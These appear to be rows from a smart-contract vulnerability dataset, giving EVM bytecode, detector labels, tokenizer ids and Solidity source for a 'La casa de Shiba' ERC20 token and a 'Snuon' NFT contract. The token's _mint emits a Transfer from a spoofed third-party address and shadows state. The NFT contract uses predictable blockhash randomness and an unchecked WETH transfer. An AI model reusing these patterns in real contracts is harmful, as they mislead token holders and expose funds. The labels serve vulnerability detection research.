ffffff1681526020019081526020016000205461183790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611824576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117e95780820151818401526020810190506117ce565b50505050905090810190601f1680156118165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156118b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611945576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611bb06021913960400191505060405180910390fd5b61195182600083611a85565b6119bd81604051806060016040528060228152602001611af860229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117779092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1581600354611a8a90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000611acc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611777565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b65483ab7adcf6b6cc85173a3e60d6c65fdf02d4705e275faf1757aaec9d720f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 22022, 2063, 2575, 14141, 17788, 2683, 15878, 2575, 23833, 12376, 2620, 2546, 2692, 19797, 21926, 9818, 2549, 4783, 16932, 2278, 28154, 18939, 19797, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,577
0x97045D224e5c6B2F160569f56Bb874531a72Af77
/** *Submitted for verification at Etherscan.io on 2021-08-17 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ contract LaCasaDeShiba is ERC20 { uint8 immutable private _decimals = 18; uint256 private _totalSupply = 100000000000 * 10 ** 18; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('La casa de Shiba', 'CASASHIB') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611034565b60405180910390f35b6100e660048036038101906100e19190610cad565b610308565b6040516100f39190611019565b60405180910390f35b610104610326565b6040516101119190611136565b60405180910390f35b610134600480360381019061012f9190610c5e565b610330565b6040516101419190611019565b60405180910390f35b610152610431565b60405161015f9190611151565b60405180910390f35b610182600480360381019061017d9190610cad565b610459565b60405161018f9190611019565b60405180910390f35b6101b260048036038101906101ad9190610bf9565b610505565b6040516101bf9190611136565b60405180910390f35b6101d061054d565b6040516101dd9190611034565b60405180910390f35b61020060048036038101906101fb9190610cad565b6105df565b60405161020d9190611019565b60405180910390f35b610230600480360381019061022b9190610cad565b6106d3565b60405161023d9190611019565b60405180910390f35b610260600480360381019061025b9190610c22565b6106f1565b60405161026d9190611136565b60405180910390f35b6060600380546102859061129a565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061129a565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610778565b8484610780565b6001905092915050565b6000600254905090565b600061033d84848461094b565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610778565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff906110b6565b60405180910390fd5b61042585610414610778565b858461042091906111de565b610780565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006104fb610466610778565b848460016000610474610778565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f69190611188565b610780565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461055c9061129a565b80601f01602080910402602001604051908101604052809291908181526020018280546105889061129a565b80156105d55780601f106105aa576101008083540402835291602001916105d5565b820191906000526020600020905b8154815290600101906020018083116105b857829003601f168201915b5050505050905090565b600080600160006105ee610778565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a290611116565b60405180910390fd5b6106c86106b6610778565b8585846106c391906111de565b610780565b600191505092915050565b60006106e76106e0610778565b848461094b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e7906110f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790611076565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161093e9190611136565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b2906110d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290611056565b60405180910390fd5b610a36838383610bca565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390611096565b60405180910390fd5b8181610ac891906111de565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b589190611188565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bbc9190611136565b60405180910390a350505050565b505050565b600081359050610bde8161133b565b92915050565b600081359050610bf381611352565b92915050565b600060208284031215610c0b57600080fd5b6000610c1984828501610bcf565b91505092915050565b60008060408385031215610c3557600080fd5b6000610c4385828601610bcf565b9250506020610c5485828601610bcf565b9150509250929050565b600080600060608486031215610c7357600080fd5b6000610c8186828701610bcf565b9350506020610c9286828701610bcf565b9250506040610ca386828701610be4565b9150509250925092565b60008060408385031215610cc057600080fd5b6000610cce85828601610bcf565b9250506020610cdf85828601610be4565b9150509250929050565b610cf281611224565b82525050565b6000610d038261116c565b610d0d8185611177565b9350610d1d818560208601611267565b610d268161132a565b840191505092915050565b6000610d3e602383611177565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610da4602283611177565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e0a602683611177565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e70602883611177565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ed6602583611177565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f3c602483611177565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610fa2602583611177565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61100481611250565b82525050565b6110138161125a565b82525050565b600060208201905061102e6000830184610ce9565b92915050565b6000602082019050818103600083015261104e8184610cf8565b905092915050565b6000602082019050818103600083015261106f81610d31565b9050919050565b6000602082019050818103600083015261108f81610d97565b9050919050565b600060208201905081810360008301526110af81610dfd565b9050919050565b600060208201905081810360008301526110cf81610e63565b9050919050565b600060208201905081810360008301526110ef81610ec9565b9050919050565b6000602082019050818103600083015261110f81610f2f565b9050919050565b6000602082019050818103600083015261112f81610f95565b9050919050565b600060208201905061114b6000830184610ffb565b92915050565b6000602082019050611166600083018461100a565b92915050565b600081519050919050565b600082825260208201905092915050565b600061119382611250565b915061119e83611250565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111d3576111d26112cc565b5b828201905092915050565b60006111e982611250565b91506111f483611250565b925082821015611207576112066112cc565b5b828203905092915050565b600061121d82611230565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561128557808201518184015260208101905061126a565b83811115611294576000848401525b50505050565b600060028204905060018216806112b257607f821691505b602082108114156112c6576112c56112fb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61134481611212565b811461134f57600080fd5b50565b61135b81611250565b811461136657600080fd5b5056fea2646970667358221220e4b25dfde926be4e6fe20d933f34664ead6492fbb9984314c255f9900c305c9364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 19841, 19961, 2094, 19317, 2549, 2063, 2629, 2278, 2575, 2497, 2475, 2546, 16048, 2692, 26976, 2683, 2546, 26976, 10322, 2620, 2581, 19961, 21486, 2050, 2581, 2475, 10354, 2581, 2581, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2459, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,578
0x97046150efbbb6938469a09b9368b06762078121
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import { BaseContract } from "./BaseContract.sol"; import { GenerateSVG } from './libs/GenerateSVG.sol'; import "./IWETH.sol"; contract Snuon is BaseContract { using StringsUpgradeable for uint; struct Seed { uint48 background; uint48 body; uint48 accessory; uint48 head; uint48 glasses; } mapping(uint => Seed) internal SeedRecord; function initialize( address _vault, address _weth, string memory _name, string memory _symbol, uint _salePrice, uint _maxPublicSaleNum ) initializer override public { super.initialize( _vault, _weth, _name, _symbol, _salePrice, _maxPublicSaleNum ); } function generateSeed(uint _id) internal { uint256 randomNum = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), _id)) ); uint256 bodyLen = bodyCount(); uint256 headLen = headCount(); uint256 glassesLen = glassesCount(); uint256 backgroundLen = backgroundCount(); uint256 accessoryLen = accessoryCount(); SeedRecord[_id] = Seed({ background: uint48( uint48(randomNum) % backgroundLen ), body: uint48( uint48(randomNum >> 48) % bodyLen ), accessory: uint48( uint48(randomNum >> 96) % accessoryLen ), head: uint48( uint48(randomNum >> 144) % headLen ), glasses: uint48( uint48(randomNum >> 192) % glassesLen ) }); } function whiteListMint(uint amount, bytes32[] calldata merkleProof) public whenNotPaused { require(merkleRoot != bytes32(0), "whiteList mint not ready."); address caller = _msgSender(); bytes32 leaf = keccak256(abi.encodePacked(caller, amount)); bool valid = MerkleProofUpgradeable.verify(merkleProof, merkleRoot, leaf); require(valid, "bad parameters."); require(!claimedMap[caller], "NFT already claimed."); uint index = getId(); claimedMap[caller] = true; mintNFT(caller, index); } function mint() public whenNotPaused payable { require(msg.value >= salePrice, "Eth value incorrect."); require(publicSaleNum < maxPublicSaleNum, "Reach goal."); _safeTransferETHWithFallback(vault, msg.value); publicSaleNum++; uint index = getId(); mintNFT(_msgSender(), index); } function mintNFT(address user, uint index) internal { super._mint(user, index); generateSeed(index); } function tokenURI(uint _tokenId) override public view returns(string memory) { Seed memory seed = SeedRecord[_tokenId]; GenerateSVG.TokenURIParams memory params = GenerateSVG.TokenURIParams({ parts: _getPartsForSeed(_tokenId), background: backgrounds[seed.background] }); string memory image = GenerateSVG.constructTokenURI(params, palettes); string memory _name = string(abi.encodePacked('Snuon ', StringsUpgradeable.toString(_tokenId))); string memory desc = string(abi.encodePacked('Snuon ', StringsUpgradeable.toString(_tokenId), ' is member of Snuon DAO')); return string( abi.encodePacked( '{"name":"', _name, '","description":"', desc, '","image":"', image, '"}' ) ); } function _getPartsForSeed(uint _id) internal view returns (bytes[] memory) { Seed memory seed = SeedRecord[_id]; bytes[] memory _parts = new bytes[](4); _parts[0] = bodies[seed.body]; _parts[1] = accessories[seed.accessory]; _parts[2] = heads[seed.head]; _parts[3] = glasses[seed.glasses]; return _parts; } function _safeTransferETHWithFallback(address to, uint256 amount) internal { if (!_safeTransferETH(to, amount)) { IWETH(weth).deposit{ value: amount }(); IERC20Upgradeable(weth).transfer(to, amount); } } function _safeTransferETH(address to, uint256 value) internal returns (bool) { (bool success, ) = to.call{ value: value, gas: 30_000 }(new bytes(0)); return success; } function setMaxPublicSale(uint _num) public onlyOwner { maxPublicSaleNum = _num; } function setWETH(address _weth) public onlyOwner { weth = _weth; } function setVault(address _vault) public onlyOwner { vault = _vault; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let 